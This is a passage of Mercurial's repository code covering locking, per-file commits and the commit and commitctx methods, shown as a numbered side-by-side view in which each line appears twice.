2615 If both 'lock' and 'wlock' must be acquired, ensure you always acquires
2616 'wlock' first to avoid a dead-lock hazard.'''
2616 'wlock' first to avoid a dead-lock hazard.'''
2617 l = self._currentlock(self._lockref)
2617 l = self._currentlock(self._lockref)
2618 if l is not None:
2618 if l is not None:
2619 l.lock()
2619 l.lock()
2620 return l
2620 return l
2621
2621
2622 l = self._lock(
2622 l = self._lock(
2623 vfs=self.svfs,
2623 vfs=self.svfs,
2624 lockname=b"lock",
2624 lockname=b"lock",
2625 wait=wait,
2625 wait=wait,
2626 releasefn=None,
2626 releasefn=None,
2627 acquirefn=self.invalidate,
2627 acquirefn=self.invalidate,
2628 desc=_(b'repository %s') % self.origroot,
2628 desc=_(b'repository %s') % self.origroot,
2629 )
2629 )
2630 self._lockref = weakref.ref(l)
2630 self._lockref = weakref.ref(l)
2631 return l
2631 return l
2632
2632
2633 def _wlockchecktransaction(self):
2633 def _wlockchecktransaction(self):
2634 if self.currenttransaction() is not None:
2634 if self.currenttransaction() is not None:
2635 raise error.LockInheritanceContractViolation(
2635 raise error.LockInheritanceContractViolation(
2636 b'wlock cannot be inherited in the middle of a transaction'
2636 b'wlock cannot be inherited in the middle of a transaction'
2637 )
2637 )
2638
2638
2639 def wlock(self, wait=True):
2639 def wlock(self, wait=True):
2640 '''Lock the non-store parts of the repository (everything under
2640 '''Lock the non-store parts of the repository (everything under
2641 .hg except .hg/store) and return a weak reference to the lock.
2641 .hg except .hg/store) and return a weak reference to the lock.
2642
2642
2643 Use this before modifying files in .hg.
2643 Use this before modifying files in .hg.
2644
2644
2645 If both 'lock' and 'wlock' must be acquired, ensure you always acquires
2645 If both 'lock' and 'wlock' must be acquired, ensure you always acquires
2646 'wlock' first to avoid a dead-lock hazard.'''
2646 'wlock' first to avoid a dead-lock hazard.'''
2647 l = self._wlockref and self._wlockref()
2647 l = self._wlockref and self._wlockref()
2648 if l is not None and l.held:
2648 if l is not None and l.held:
2649 l.lock()
2649 l.lock()
2650 return l
2650 return l
2651
2651
2652 # We do not need to check for non-waiting lock acquisition. Such
2652 # We do not need to check for non-waiting lock acquisition. Such
2653 # acquisition would not cause dead-lock as they would just fail.
2653 # acquisition would not cause dead-lock as they would just fail.
2654 if wait and (
2654 if wait and (
2655 self.ui.configbool(b'devel', b'all-warnings')
2655 self.ui.configbool(b'devel', b'all-warnings')
2656 or self.ui.configbool(b'devel', b'check-locks')
2656 or self.ui.configbool(b'devel', b'check-locks')
2657 ):
2657 ):
2658 if self._currentlock(self._lockref) is not None:
2658 if self._currentlock(self._lockref) is not None:
2659 self.ui.develwarn(b'"wlock" acquired after "lock"')
2659 self.ui.develwarn(b'"wlock" acquired after "lock"')
2660
2660
2661 def unlock():
2661 def unlock():
2662 if self.dirstate.pendingparentchange():
2662 if self.dirstate.pendingparentchange():
2663 self.dirstate.invalidate()
2663 self.dirstate.invalidate()
2664 else:
2664 else:
2665 self.dirstate.write(None)
2665 self.dirstate.write(None)
2666
2666
2667 self._filecache[b'dirstate'].refresh()
2667 self._filecache[b'dirstate'].refresh()
2668
2668
2669 l = self._lock(
2669 l = self._lock(
2670 self.vfs,
2670 self.vfs,
2671 b"wlock",
2671 b"wlock",
2672 wait,
2672 wait,
2673 unlock,
2673 unlock,
2674 self.invalidatedirstate,
2674 self.invalidatedirstate,
2675 _(b'working directory of %s') % self.origroot,
2675 _(b'working directory of %s') % self.origroot,
2676 inheritchecker=self._wlockchecktransaction,
2676 inheritchecker=self._wlockchecktransaction,
2677 parentenvvar=b'HG_WLOCK_LOCKER',
2677 parentenvvar=b'HG_WLOCK_LOCKER',
2678 )
2678 )
2679 self._wlockref = weakref.ref(l)
2679 self._wlockref = weakref.ref(l)
2680 return l
2680 return l
2681
2681
2682 def _currentlock(self, lockref):
2682 def _currentlock(self, lockref):
2683 """Returns the lock if it's held, or None if it's not."""
2683 """Returns the lock if it's held, or None if it's not."""
2684 if lockref is None:
2684 if lockref is None:
2685 return None
2685 return None
2686 l = lockref()
2686 l = lockref()
2687 if l is None or not l.held:
2687 if l is None or not l.held:
2688 return None
2688 return None
2689 return l
2689 return l
2690
2690
2691 def currentwlock(self):
2691 def currentwlock(self):
2692 """Returns the wlock if it's held, or None if it's not."""
2692 """Returns the wlock if it's held, or None if it's not."""
2693 return self._currentlock(self._wlockref)
2693 return self._currentlock(self._wlockref)
2694
2694
2695 def _filecommit(
2695 def _filecommit(
2696 self,
2696 self,
2697 fctx,
2697 fctx,
2698 manifest1,
2698 manifest1,
2699 manifest2,
2699 manifest2,
2700 linkrev,
2700 linkrev,
2701 tr,
2701 tr,
2702 changelist,
2702 changelist,
2703 includecopymeta,
2703 includecopymeta,
2704 ):
2704 ):
2705 """
2705 """
2706 commit an individual file as part of a larger transaction
2706 commit an individual file as part of a larger transaction
2707 """
2707 """
2708
2708
2709 fname = fctx.path()
2709 fname = fctx.path()
2710 fparent1 = manifest1.get(fname, nullid)
2710 fparent1 = manifest1.get(fname, nullid)
2711 fparent2 = manifest2.get(fname, nullid)
2711 fparent2 = manifest2.get(fname, nullid)
2712 if isinstance(fctx, context.filectx):
2712 if isinstance(fctx, context.filectx):
2713 node = fctx.filenode()
2713 node = fctx.filenode()
2714 if node in [fparent1, fparent2]:
2714 if node in [fparent1, fparent2]:
2715 self.ui.debug(b'reusing %s filelog entry\n' % fname)
2715 self.ui.debug(b'reusing %s filelog entry\n' % fname)
2716 if (
2716 if (
2717 fparent1 != nullid
2717 fparent1 != nullid
2718 and manifest1.flags(fname) != fctx.flags()
2718 and manifest1.flags(fname) != fctx.flags()
2719 ) or (
2719 ) or (
2720 fparent2 != nullid
2720 fparent2 != nullid
2721 and manifest2.flags(fname) != fctx.flags()
2721 and manifest2.flags(fname) != fctx.flags()
2722 ):
2722 ):
2723 changelist.append(fname)
2723 changelist.append(fname)
2724 return node
2724 return node
2725
2725
2726 flog = self.file(fname)
2726 flog = self.file(fname)
2727 meta = {}
2727 meta = {}
2728 cfname = fctx.copysource()
2728 cfname = fctx.copysource()
2729 if cfname and cfname != fname:
2729 if cfname and cfname != fname:
2730 # Mark the new revision of this file as a copy of another
2730 # Mark the new revision of this file as a copy of another
2731 # file. This copy data will effectively act as a parent
2731 # file. This copy data will effectively act as a parent
2732 # of this new revision. If this is a merge, the first
2732 # of this new revision. If this is a merge, the first
2733 # parent will be the nullid (meaning "look up the copy data")
2733 # parent will be the nullid (meaning "look up the copy data")
2734 # and the second one will be the other parent. For example:
2734 # and the second one will be the other parent. For example:
2735 #
2735 #
2736 # 0 --- 1 --- 3 rev1 changes file foo
2736 # 0 --- 1 --- 3 rev1 changes file foo
2737 # \ / rev2 renames foo to bar and changes it
2737 # \ / rev2 renames foo to bar and changes it
2738 # \- 2 -/ rev3 should have bar with all changes and
2738 # \- 2 -/ rev3 should have bar with all changes and
2739 # should record that bar descends from
2739 # should record that bar descends from
2740 # bar in rev2 and foo in rev1
2740 # bar in rev2 and foo in rev1
2741 #
2741 #
2742 # this allows this merge to succeed:
2742 # this allows this merge to succeed:
2743 #
2743 #
2744 # 0 --- 1 --- 3 rev4 reverts the content change from rev2
2744 # 0 --- 1 --- 3 rev4 reverts the content change from rev2
2745 # \ / merging rev3 and rev4 should use bar@rev2
2745 # \ / merging rev3 and rev4 should use bar@rev2
2746 # \- 2 --- 4 as the merge base
2746 # \- 2 --- 4 as the merge base
2747 #
2747 #
2748
2748
2749 cnode = manifest1.get(cfname)
2749 cnode = manifest1.get(cfname)
2750 newfparent = fparent2
2750 newfparent = fparent2
2751
2751
2752 if manifest2: # branch merge
2752 if manifest2: # branch merge
2753 if fparent2 == nullid or cnode is None: # copied on remote side
2753 if fparent2 == nullid or cnode is None: # copied on remote side
2754 if cfname in manifest2:
2754 if cfname in manifest2:
2755 cnode = manifest2[cfname]
2755 cnode = manifest2[cfname]
2756 newfparent = fparent1
2756 newfparent = fparent1
2757
2757
2758 # Here, we used to search backwards through history to try to find
2758 # Here, we used to search backwards through history to try to find
2759 # where the file copy came from if the source of a copy was not in
2759 # where the file copy came from if the source of a copy was not in
2760 # the parent directory. However, this doesn't actually make sense to
2760 # the parent directory. However, this doesn't actually make sense to
2761 # do (what does a copy from something not in your working copy even
2761 # do (what does a copy from something not in your working copy even
2762 # mean?) and it causes bugs (eg, issue4476). Instead, we will warn
2762 # mean?) and it causes bugs (eg, issue4476). Instead, we will warn
2763 # the user that copy information was dropped, so if they didn't
2763 # the user that copy information was dropped, so if they didn't
2764 # expect this outcome it can be fixed, but this is the correct
2764 # expect this outcome it can be fixed, but this is the correct
2765 # behavior in this circumstance.
2765 # behavior in this circumstance.
2766
2766
2767 if cnode:
2767 if cnode:
2768 self.ui.debug(
2768 self.ui.debug(
2769 b" %s: copy %s:%s\n" % (fname, cfname, hex(cnode))
2769 b" %s: copy %s:%s\n" % (fname, cfname, hex(cnode))
2770 )
2770 )
2771 if includecopymeta:
2771 if includecopymeta:
2772 meta[b"copy"] = cfname
2772 meta[b"copy"] = cfname
2773 meta[b"copyrev"] = hex(cnode)
2773 meta[b"copyrev"] = hex(cnode)
2774 fparent1, fparent2 = nullid, newfparent
2774 fparent1, fparent2 = nullid, newfparent
2775 else:
2775 else:
2776 self.ui.warn(
2776 self.ui.warn(
2777 _(
2777 _(
2778 b"warning: can't find ancestor for '%s' "
2778 b"warning: can't find ancestor for '%s' "
2779 b"copied from '%s'!\n"
2779 b"copied from '%s'!\n"
2780 )
2780 )
2781 % (fname, cfname)
2781 % (fname, cfname)
2782 )
2782 )
2783
2783
2784 elif fparent1 == nullid:
2784 elif fparent1 == nullid:
2785 fparent1, fparent2 = fparent2, nullid
2785 fparent1, fparent2 = fparent2, nullid
2786 elif fparent2 != nullid:
2786 elif fparent2 != nullid:
2787 # is one parent an ancestor of the other?
2787 # is one parent an ancestor of the other?
2788 fparentancestors = flog.commonancestorsheads(fparent1, fparent2)
2788 fparentancestors = flog.commonancestorsheads(fparent1, fparent2)
2789 if fparent1 in fparentancestors:
2789 if fparent1 in fparentancestors:
2790 fparent1, fparent2 = fparent2, nullid
2790 fparent1, fparent2 = fparent2, nullid
2791 elif fparent2 in fparentancestors:
2791 elif fparent2 in fparentancestors:
2792 fparent2 = nullid
2792 fparent2 = nullid
2793
2793
2794 # is the file changed?
2794 # is the file changed?
2795 text = fctx.data()
2795 text = fctx.data()
2796 if fparent2 != nullid or flog.cmp(fparent1, text) or meta:
2796 if fparent2 != nullid or flog.cmp(fparent1, text) or meta:
2797 changelist.append(fname)
2797 changelist.append(fname)
2798 return flog.add(text, meta, tr, linkrev, fparent1, fparent2)
2798 return flog.add(text, meta, tr, linkrev, fparent1, fparent2)
2799 # are just the flags changed during merge?
2799 # are just the flags changed during merge?
2800 elif fname in manifest1 and manifest1.flags(fname) != fctx.flags():
2800 elif fname in manifest1 and manifest1.flags(fname) != fctx.flags():
2801 changelist.append(fname)
2801 changelist.append(fname)
2802
2802
2803 return fparent1
2803 return fparent1
2804
2804
2805 def checkcommitpatterns(self, wctx, match, status, fail):
2805 def checkcommitpatterns(self, wctx, match, status, fail):
2806 """check for commit arguments that aren't committable"""
2806 """check for commit arguments that aren't committable"""
2807 if match.isexact() or match.prefix():
2807 if match.isexact() or match.prefix():
2808 matched = set(status.modified + status.added + status.removed)
2808 matched = set(status.modified + status.added + status.removed)
2809
2809
2810 for f in match.files():
2810 for f in match.files():
2811 f = self.dirstate.normalize(f)
2811 f = self.dirstate.normalize(f)
2812 if f == b'.' or f in matched or f in wctx.substate:
2812 if f == b'.' or f in matched or f in wctx.substate:
2813 continue
2813 continue
2814 if f in status.deleted:
2814 if f in status.deleted:
2815 fail(f, _(b'file not found!'))
2815 fail(f, _(b'file not found!'))
2816 # Is it a directory that exists or used to exist?
2816 # Is it a directory that exists or used to exist?
2817 if self.wvfs.isdir(f) or wctx.p1().hasdir(f):
2817 if self.wvfs.isdir(f) or wctx.p1().hasdir(f):
2818 d = f + b'/'
2818 d = f + b'/'
2819 for mf in matched:
2819 for mf in matched:
2820 if mf.startswith(d):
2820 if mf.startswith(d):
2821 break
2821 break
2822 else:
2822 else:
2823 fail(f, _(b"no match under directory!"))
2823 fail(f, _(b"no match under directory!"))
2824 elif f not in self.dirstate:
2824 elif f not in self.dirstate:
2825 fail(f, _(b"file not tracked!"))
2825 fail(f, _(b"file not tracked!"))
2826
2826
2827 @unfilteredmethod
2827 @unfilteredmethod
2828 def commit(
2828 def commit(
2829 self,
2829 self,
2830 text=b"",
2830 text=b"",
2831 user=None,
2831 user=None,
2832 date=None,
2832 date=None,
2833 match=None,
2833 match=None,
2834 force=False,
2834 force=False,
2835 editor=None,
2835 editor=None,
2836 extra=None,
2836 extra=None,
2837 ):
2837 ):
2838 """Add a new revision to current repository.
2838 """Add a new revision to current repository.
2839
2839
2840 Revision information is gathered from the working directory,
2840 Revision information is gathered from the working directory,
2841 match can be used to filter the committed files. If editor is
2841 match can be used to filter the committed files. If editor is
2842 supplied, it is called to get a commit message.
2842 supplied, it is called to get a commit message.
2843 """
2843 """
2844 if extra is None:
2844 if extra is None:
2845 extra = {}
2845 extra = {}
2846
2846
2847 def fail(f, msg):
2847 def fail(f, msg):
2848 raise error.Abort(b'%s: %s' % (f, msg))
2848 raise error.Abort(b'%s: %s' % (f, msg))
2849
2849
2850 if not match:
2850 if not match:
2851 match = matchmod.always()
2851 match = matchmod.always()
2852
2852
2853 if not force:
2853 if not force:
2854 match.bad = fail
2854 match.bad = fail
2855
2855
2856 # lock() for recent changelog (see issue4368)
2856 # lock() for recent changelog (see issue4368)
2857 with self.wlock(), self.lock():
2857 with self.wlock(), self.lock():
2858 wctx = self[None]
2858 wctx = self[None]
2859 merge = len(wctx.parents()) > 1
2859 merge = len(wctx.parents()) > 1
2860
2860
2861 if not force and merge and not match.always():
2861 if not force and merge and not match.always():
2862 raise error.Abort(
2862 raise error.Abort(
2863 _(
2863 _(
2864 b'cannot partially commit a merge '
2864 b'cannot partially commit a merge '
2865 b'(do not specify files or patterns)'
2865 b'(do not specify files or patterns)'
2866 )
2866 )
2867 )
2867 )
2868
2868
2869 status = self.status(match=match, clean=force)
2869 status = self.status(match=match, clean=force)
2870 if force:
2870 if force:
2871 status.modified.extend(
2871 status.modified.extend(
2872 status.clean
2872 status.clean
2873 ) # mq may commit clean files
2873 ) # mq may commit clean files
2874
2874
2875 # check subrepos
2875 # check subrepos
2876 subs, commitsubs, newstate = subrepoutil.precommit(
2876 subs, commitsubs, newstate = subrepoutil.precommit(
2877 self.ui, wctx, status, match, force=force
2877 self.ui, wctx, status, match, force=force
2878 )
2878 )
2879
2879
2880 # make sure all explicit patterns are matched
2880 # make sure all explicit patterns are matched
2881 if not force:
2881 if not force:
2882 self.checkcommitpatterns(wctx, match, status, fail)
2882 self.checkcommitpatterns(wctx, match, status, fail)
2883
2883
2884 cctx = context.workingcommitctx(
2884 cctx = context.workingcommitctx(
2885 self, status, text, user, date, extra
2885 self, status, text, user, date, extra
2886 )
2886 )
2887
2887
2888 # internal config: ui.allowemptycommit
2888 # internal config: ui.allowemptycommit
2889 allowemptycommit = (
2889 allowemptycommit = (
2890 wctx.branch() != wctx.p1().branch()
2890 wctx.branch() != wctx.p1().branch()
2891 or extra.get(b'close')
2891 or extra.get(b'close')
2892 or merge
2892 or merge
2893 or cctx.files()
2893 or cctx.files()
2894 or self.ui.configbool(b'ui', b'allowemptycommit')
2894 or self.ui.configbool(b'ui', b'allowemptycommit')
2895 )
2895 )
2896 if not allowemptycommit:
2896 if not allowemptycommit:
2897 return None
2897 return None
2898
2898
2899 if merge and cctx.deleted():
2899 if merge and cctx.deleted():
2900 raise error.Abort(_(b"cannot commit merge with missing files"))
2900 raise error.Abort(_(b"cannot commit merge with missing files"))
2901
2901
2902 ms = mergemod.mergestate.read(self)
2902 ms = mergemod.mergestate.read(self)
2903 mergeutil.checkunresolved(ms)
2903 mergeutil.checkunresolved(ms)
2904
2904
2905 if editor:
2905 if editor:
2906 cctx._text = editor(self, cctx, subs)
2906 cctx._text = editor(self, cctx, subs)
2907 edited = text != cctx._text
2907 edited = text != cctx._text
2908
2908
2909 # Save commit message in case this transaction gets rolled back
2909 # Save commit message in case this transaction gets rolled back
2910 # (e.g. by a pretxncommit hook). Leave the content alone on
2910 # (e.g. by a pretxncommit hook). Leave the content alone on
2911 # the assumption that the user will use the same editor again.
2911 # the assumption that the user will use the same editor again.
2912 msgfn = self.savecommitmessage(cctx._text)
2912 msgfn = self.savecommitmessage(cctx._text)
2913
2913
2914 # commit subs and write new state
2914 # commit subs and write new state
2915 if subs:
2915 if subs:
2916 uipathfn = scmutil.getuipathfn(self)
2916 uipathfn = scmutil.getuipathfn(self)
2917 for s in sorted(commitsubs):
2917 for s in sorted(commitsubs):
2918 sub = wctx.sub(s)
2918 sub = wctx.sub(s)
2919 self.ui.status(
2919 self.ui.status(
2920 _(b'committing subrepository %s\n')
2920 _(b'committing subrepository %s\n')
2921 % uipathfn(subrepoutil.subrelpath(sub))
2921 % uipathfn(subrepoutil.subrelpath(sub))
2922 )
2922 )
2923 sr = sub.commit(cctx._text, user, date)
2923 sr = sub.commit(cctx._text, user, date)
2924 newstate[s] = (newstate[s][0], sr)
2924 newstate[s] = (newstate[s][0], sr)
2925 subrepoutil.writestate(self, newstate)
2925 subrepoutil.writestate(self, newstate)
2926
2926
2927 p1, p2 = self.dirstate.parents()
2927 p1, p2 = self.dirstate.parents()
2928 hookp1, hookp2 = hex(p1), (p2 != nullid and hex(p2) or b'')
2928 hookp1, hookp2 = hex(p1), (p2 != nullid and hex(p2) or b'')
2929 try:
2929 try:
2930 self.hook(
2930 self.hook(
2931 b"precommit", throw=True, parent1=hookp1, parent2=hookp2
2931 b"precommit", throw=True, parent1=hookp1, parent2=hookp2
2932 )
2932 )
2933 with self.transaction(b'commit'):
2933 with self.transaction(b'commit'):
2934 ret = self.commitctx(cctx, True)
2934 ret = self.commitctx(cctx, True)
2935 # update bookmarks, dirstate and mergestate
2935 # update bookmarks, dirstate and mergestate
2936 bookmarks.update(self, [p1, p2], ret)
2936 bookmarks.update(self, [p1, p2], ret)
2937 cctx.markcommitted(ret)
2937 cctx.markcommitted(ret)
2938 ms.reset()
2938 ms.reset()
2939 except: # re-raises
2939 except: # re-raises
2940 if edited:
2940 if edited:
2941 self.ui.write(
2941 self.ui.write(
2942 _(b'note: commit message saved in %s\n') % msgfn
2942 _(b'note: commit message saved in %s\n') % msgfn
2943 )
2943 )
2944 raise
2944 raise
2945
2945
2946 def commithook(unused_success):
2946 def commithook(unused_success):
2947 # hack for command that use a temporary commit (eg: histedit)
2947 # hack for command that use a temporary commit (eg: histedit)
2948 # temporary commit got stripped before hook release
2948 # temporary commit got stripped before hook release
2949 if self.changelog.hasnode(ret):
2949 if self.changelog.hasnode(ret):
2950 self.hook(
2950 self.hook(
2951 b"commit", node=hex(ret), parent1=hookp1, parent2=hookp2
2951 b"commit", node=hex(ret), parent1=hookp1, parent2=hookp2
2952 )
2952 )
2953
2953
2954 self._afterlock(commithook)
2954 self._afterlock(commithook)
2955 return ret
2955 return ret
2956
2956
2957 @unfilteredmethod
2957 @unfilteredmethod
2958 def commitctx(self, ctx, error=False, origctx=None):
2958 def commitctx(self, ctx, error=False, origctx=None):
2959 """Add a new revision to current repository.
2959 """Add a new revision to current repository.
2960 Revision information is passed via the context argument.
2960 Revision information is passed via the context argument.
2961
2961
2962 ctx.files() should list all files involved in this commit, i.e.
2962 ctx.files() should list all files involved in this commit, i.e.
2963 modified/added/removed files. On merge, it may be wider than the
2963 modified/added/removed files. On merge, it may be wider than the
2964 ctx.files() to be committed, since any file nodes derived directly
2964 ctx.files() to be committed, since any file nodes derived directly
2965 from p1 or p2 are excluded from the committed ctx.files().
2965 from p1 or p2 are excluded from the committed ctx.files().
2966
2966
2967 origctx is for convert to work around the problem that bug
2967 origctx is for convert to work around the problem that bug
2968 fixes to the files list in changesets change hashes. For
2968 fixes to the files list in changesets change hashes. For
2969 convert to be the identity, it can pass an origctx and this
2969 convert to be the identity, it can pass an origctx and this
2970 function will use the same files list when it makes sense to
2970 function will use the same files list when it makes sense to
2971 do so.
2971 do so.
2972 """
2972 """
2973
2973
2974 p1, p2 = ctx.p1(), ctx.p2()
2974 p1, p2 = ctx.p1(), ctx.p2()
2975 user = ctx.user()
2975 user = ctx.user()
2976
2976
2977 if self.filecopiesmode == b'changeset-sidedata':
2977 if self.filecopiesmode == b'changeset-sidedata':
2978 writechangesetcopy = True
2978 writechangesetcopy = True
2979 writefilecopymeta = True
2979 writefilecopymeta = True
2980 writecopiesto = None
2980 writecopiesto = None
2981 else:
2981 else:
2982 writecopiesto = self.ui.config(b'experimental', b'copies.write-to')
2982 writecopiesto = self.ui.config(b'experimental', b'copies.write-to')
2983 writefilecopymeta = writecopiesto != b'changeset-only'
2983 writefilecopymeta = writecopiesto != b'changeset-only'
2984 writechangesetcopy = writecopiesto in (
2984 writechangesetcopy = writecopiesto in (
2985 b'changeset-only',
2985 b'changeset-only',
2986 b'compatibility',
2986 b'compatibility',
2987 )
2987 )
2988 p1copies, p2copies = None, None
2988 p1copies, p2copies = None, None
2989 if writechangesetcopy:
2989 if writechangesetcopy:
2990 p1copies = ctx.p1copies()
2990 p1copies = ctx.p1copies()
2991 p2copies = ctx.p2copies()
2991 p2copies = ctx.p2copies()
2992 filesadded, filesremoved = None, None
2992 filesadded, filesremoved = None, None
2993 with self.lock(), self.transaction(b"commit") as tr:
2993 with self.lock(), self.transaction(b"commit") as tr:
2994 trp = weakref.proxy(tr)
2994 trp = weakref.proxy(tr)
2995
2995
2996 if ctx.manifestnode():
2996 if ctx.manifestnode():
2997 # reuse an existing manifest revision
2997 # reuse an existing manifest revision
2998 self.ui.debug(b'reusing known manifest\n')
2998 self.ui.debug(b'reusing known manifest\n')
2999 mn = ctx.manifestnode()
2999 mn = ctx.manifestnode()
3000 files = ctx.files()
3000 files = ctx.files()
3001 if writechangesetcopy:
3001 if writechangesetcopy:
3002 filesadded = ctx.filesadded()
3002 filesadded = ctx.filesadded()
3003 filesremoved = ctx.filesremoved()
3003 filesremoved = ctx.filesremoved()
3004 elif ctx.files():
3004 elif ctx.files():
3005 m1ctx = p1.manifestctx()
3005 m1ctx = p1.manifestctx()
3006 m2ctx = p2.manifestctx()
3006 m2ctx = p2.manifestctx()
3007 mctx = m1ctx.copy()
3007 mctx = m1ctx.copy()
3008
3008
3009 m = mctx.read()
3009 m = mctx.read()
3010 m1 = m1ctx.read()
3010 m1 = m1ctx.read()
3011 m2 = m2ctx.read()
3011 m2 = m2ctx.read()
3012
3012
3013 # check in files
3013 # check in files
3014 added = []
3014 added = []
3015 changed = []
3015 changed = []
3016 removed = list(ctx.removed())
3016 removed = list(ctx.removed())
3017 linkrev = len(self)
3017 linkrev = len(self)
3018 self.ui.note(_(b"committing files:\n"))
3018 self.ui.note(_(b"committing files:\n"))
3019 uipathfn = scmutil.getuipathfn(self)
3019 uipathfn = scmutil.getuipathfn(self)
3020 for f in sorted(ctx.modified() + ctx.added()):
3020 for f in sorted(ctx.modified() + ctx.added()):
3021 self.ui.note(uipathfn(f) + b"\n")
3021 self.ui.note(uipathfn(f) + b"\n")
3022 try:
3022 try:
3023 fctx = ctx[f]
3023 fctx = ctx[f]
3024 if fctx is None:
3024 if fctx is None:
3025 removed.append(f)
3025 removed.append(f)
3026 else:
3026 else:
3027 added.append(f)
3027 added.append(f)
3028 m[f] = self._filecommit(
3028 m[f] = self._filecommit(
3029 fctx,
3029 fctx,
3030 m1,
3030 m1,
3031 m2,
3031 m2,
3032 linkrev,
3032 linkrev,
3033 trp,
3033 trp,
3034 changed,
3034 changed,
3035 writefilecopymeta,
3035 writefilecopymeta,
3036 )
3036 )
3037 m.setflag(f, fctx.flags())
3037 m.setflag(f, fctx.flags())
3038 except OSError:
3038 except OSError:
3039 self.ui.warn(
3039 self.ui.warn(
3040 _(b"trouble committing %s!\n") % uipathfn(f)
3040 _(b"trouble committing %s!\n") % uipathfn(f)
3041 )
3041 )
3042 raise
3042 raise
3043 except IOError as inst:
3043 except IOError as inst:
3044 errcode = getattr(inst, 'errno', errno.ENOENT)
3044 errcode = getattr(inst, 'errno', errno.ENOENT)
3045 if error or errcode and errcode != errno.ENOENT:
3045 if error or errcode and errcode != errno.ENOENT:
3046 self.ui.warn(
3046 self.ui.warn(
3047 _(b"trouble committing %s!\n") % uipathfn(f)
3047 _(b"trouble committing %s!\n") % uipathfn(f)
3048 )
3048 )
3049 raise
3049 raise
3050
3050
3051 # update manifest
3051 # update manifest
3052 removed = [f for f in removed if f in m1 or f in m2]
3052 removed = [f for f in removed if f in m1 or f in m2]
3053 drop = sorted([f for f in removed if f in m])
3053 drop = sorted([f for f in removed if f in m])
3054 for f in drop:
3054 for f in drop:
3055 del m[f]
3055 del m[f]
3056 if p2.rev() != nullrev:
3056 if p2.rev() != nullrev:
3057
3057
3058 @util.cachefunc
3058 @util.cachefunc
3059 def mas():
3059 def mas():
3060 p1n = p1.node()
3060 p1n = p1.node()
3061 p2n = p2.node()
3061 p2n = p2.node()
3062 cahs = self.changelog.commonancestorsheads(p1n, p2n)
3062 cahs = self.changelog.commonancestorsheads(p1n, p2n)
3063 if not cahs:
3063 if not cahs:
3064 cahs = [nullrev]
3064 cahs = [nullrev]
3065 return [self[r].manifest() for r in cahs]
3065 return [self[r].manifest() for r in cahs]
3066
3066
3067 def deletionfromparent(f):
3067 def deletionfromparent(f):
3068 # When a file is removed relative to p1 in a merge, this
3068 # When a file is removed relative to p1 in a merge, this
3069 # function determines whether the absence is due to a
3069 # function determines whether the absence is due to a
3070 # deletion from a parent, or whether the merge commit
3070 # deletion from a parent, or whether the merge commit
3071 # itself deletes the file. We decide this by doing a
3071 # itself deletes the file. We decide this by doing a
3072 # simplified three way merge of the manifest entry for
3072 # simplified three way merge of the manifest entry for
3073 # the file. There are two ways we decide the merge
3073 # the file. There are two ways we decide the merge
3074 # itself didn't delete a file:
3074 # itself didn't delete a file:
3075 # - neither parent (nor the merge) contain the file
3075 # - neither parent (nor the merge) contain the file
3076 # - exactly one parent contains the file, and that
3076 # - exactly one parent contains the file, and that
3077 # parent has the same filelog entry as the merge
3077 # parent has the same filelog entry as the merge
3078 # ancestor (or all of them if there two). In other
3078 # ancestor (or all of them if there two). In other
3079 # words, that parent left the file unchanged while the
3079 # words, that parent left the file unchanged while the
3080 # other one deleted it.
3080 # other one deleted it.
3081 # One way to think about this is that deleting a file is
3081 # One way to think about this is that deleting a file is
3082 # similar to emptying it, so the list of changed files
3082 # similar to emptying it, so the list of changed files
3083 # should be similar either way. The computation
3083 # should be similar either way. The computation
3084 # described above is not done directly in _filecommit
3084 # described above is not done directly in _filecommit
3085 # when creating the list of changed files, however
3085 # when creating the list of changed files, however
3086 # it does something very similar by comparing filelog
3086 # it does something very similar by comparing filelog
3087 # nodes.
3087 # nodes.
3088 if f in m1:
3088 if f in m1:
3089 return f not in m2 and all(
3089 return f not in m2 and all(
3090 f in ma and ma.find(f) == m1.find(f)
3090 f in ma and ma.find(f) == m1.find(f)
3091 for ma in mas()
3091 for ma in mas()
3092 )
3092 )
3093 elif f in m2:
3093 elif f in m2:
3094 return all(
3094 return all(
3095 f in ma and ma.find(f) == m2.find(f)
3095 f in ma and ma.find(f) == m2.find(f)
3096 for ma in mas()
3096 for ma in mas()
3097 )
3097 )
3098 else:
3098 else:
3099 return True
3099 return True
3100
3100
3101 removed = [f for f in removed if not deletionfromparent(f)]
3101 removed = [f for f in removed if not deletionfromparent(f)]
3102
3102
3103 files = changed + removed
3103 files = changed + removed
3104 md = None
3104 md = None
3105 if not files:
3105 if not files:
3106 # if no "files" actually changed in terms of the changelog,
3106 # if no "files" actually changed in terms of the changelog,
3107 # try hard to detect unmodified manifest entry so that the
3107 # try hard to detect unmodified manifest entry so that the
3108 # exact same commit can be reproduced later on convert.
3108 # exact same commit can be reproduced later on convert.
3109 md = m1.diff(m, scmutil.matchfiles(self, ctx.files()))
3109 md = m1.diff(m, scmutil.matchfiles(self, ctx.files()))
3110 if not files and md:
3110 if not files and md:
3111 self.ui.debug(
3111 self.ui.debug(
3112 b'not reusing manifest (no file change in '
3112 b'not reusing manifest (no file change in '
3113 b'changelog, but manifest differs)\n'
3113 b'changelog, but manifest differs)\n'
3114 )
3114 )
3115 if files or md:
3115 if files or md:
3116 self.ui.note(_(b"committing manifest\n"))
3116 self.ui.note(_(b"committing manifest\n"))
3117 # we're using narrowmatch here since it's already applied at
3117 # we're using narrowmatch here since it's already applied at
3118 # other stages (such as dirstate.walk), so we're already
3118 # other stages (such as dirstate.walk), so we're already
3119 # ignoring things outside of narrowspec in most cases. The
3119 # ignoring things outside of narrowspec in most cases. The
3120 # one case where we might have files outside the narrowspec
3120 # one case where we might have files outside the narrowspec
3121 # at this point is merges, and we already error out in the
3121 # at this point is merges, and we already error out in the
3122 # case where the merge has files outside of the narrowspec,
3122 # case where the merge has files outside of the narrowspec,
3123 # so this is safe.
3123 # so this is safe.
3124 mn = mctx.write(
3124 mn = mctx.write(
3125 trp,
3125 trp,
3126 linkrev,
3126 linkrev,
3127 p1.manifestnode(),
3127 p1.manifestnode(),
3128 p2.manifestnode(),
3128 p2.manifestnode(),
3129 added,
3129 added,
3130 drop,
3130 drop,
3131 match=self.narrowmatch(),
3131 match=self.narrowmatch(),
3132 )
3132 )
3133
3133
3134 if writechangesetcopy:
3134 if writechangesetcopy:
3135 filesadded = [
3135 filesadded = [
3136 f for f in changed if not (f in m1 or f in m2)
3136 f for f in changed if not (f in m1 or f in m2)
3137 ]
3137 ]
3138 filesremoved = removed
3138 filesremoved = removed
3139 else:
3139 else:
3140 self.ui.debug(
3140 self.ui.debug(
3141 b'reusing manifest from p1 (listed files '
